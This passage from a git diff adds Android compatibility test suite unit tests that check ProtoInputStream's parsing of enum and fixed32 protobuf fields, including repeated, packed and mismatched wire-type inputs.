+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java
new file mode 100644
index 0000000..6a0a7b9
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java
@@ -0,0 +1,569 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamEnumTest extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+ final long FIELD_ID = fieldFlags | ((long) 160 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.outsideField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ // Nano proto drops values that are outside the range, so compare against val
+ assertEquals(val, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_ENUM;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[]{});
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_ENUM;
+ final long FIELD_ID = fieldFlags | ((long) 161 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.outsideFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ // Nano proto drops values that are outside the range, so compare against val
+ assertEquals(val.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(val[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_ENUM;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x32,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 4 -> MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 5 -> MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[]{});
+ testPackedCompat(new int[]{0, 1});
+
+ // Nano proto has a bug. It gets the size with computeInt32SizeNoTag (correctly)
+ // but incorrectly uses writeRawVarint32 to write the value for negative numbers.
+ //testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_ENUM;
+ final long FIELD_ID = fieldFlags | ((long) 162 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.outsideFieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ // Nano proto drops values that are outside the range, so compare against val
+ assertEquals(val.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(val[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed enums)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java
new file mode 100644
index 0000000..935a3ad
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamFixed32Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> 1
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 90 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed32Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed32Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 6 -> 1
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[0]);
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 91 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed32FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
